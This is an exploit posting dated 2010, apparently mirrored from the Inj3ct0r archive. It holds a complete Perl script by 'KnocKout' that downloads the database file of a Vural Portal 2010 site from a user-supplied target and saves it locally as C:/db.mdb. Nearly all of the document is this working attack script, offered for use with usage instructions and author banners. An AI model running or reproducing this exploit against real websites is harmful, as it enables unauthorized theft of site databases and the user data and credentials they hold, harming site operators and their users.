Vural Portal 2010 Remote Database Disclosure Exploit
Posted on 18 August 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Vural Portal 2010 Remote Database Disclosure Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==================================================== Vural Portal 2010 Remote Database Disclosure Exploit ==================================================== Author : KnocKout Script : Vural Portal Version : 2010 Download : http://aspindir.com/goster/6070 ======================================================== Vural Portal 2010 Remote Database Disclosure Exploit ======================================================== #!/usr/bin/perl -w # # Vural Portal 2010 / Database Disclosure Exploit # # Coded: KnocKout # # # Date: 25/07/2010 # # # Thanks: DaiMon, BARCOD3 # use LWP::Simple; use LWP::UserAgent; system('cls'); system('title Vural Portal 2010 Remote Database Disclosure Exploit'); system('color 4'); if(@ARGV < 2) { print "[-]Ornegi inceleyin "; &help; exit(); } sub help() { print "[+] usage1 : perl $0 site.com /path/ "; print "[+] usage2 : perl $0 localhost / "; } print " ************************************************************************ "; print "* Vural Portal 2010 Remote Database Disclosure Exploit * "; print "* Exploited By : KnocKout * "; print "* msn : knockoutr[at]msn[dot]com * "; print "* Special Thankz : DaiMon Barcod3 * "; print "********************************************************************* "; ($TargetIP, $path, $File,) = @ARGV; $File="db/123.mdb"; my $url = "http://" . $TargetIP . $path . $File; print " wait!!! "; my $useragent = LWP::UserAgent->new(); my $request = $useragent->get($url,":content_file" => "C:/db.mdb"); if ($request->is_success) { print "[+] $url Exploited! "; print "[+] Database saved to C:/db.mdb "; exit(); } else { print "[!] Exploiting $url Failed ! [!] ".$request->status_line." "; exit(); } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-18]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>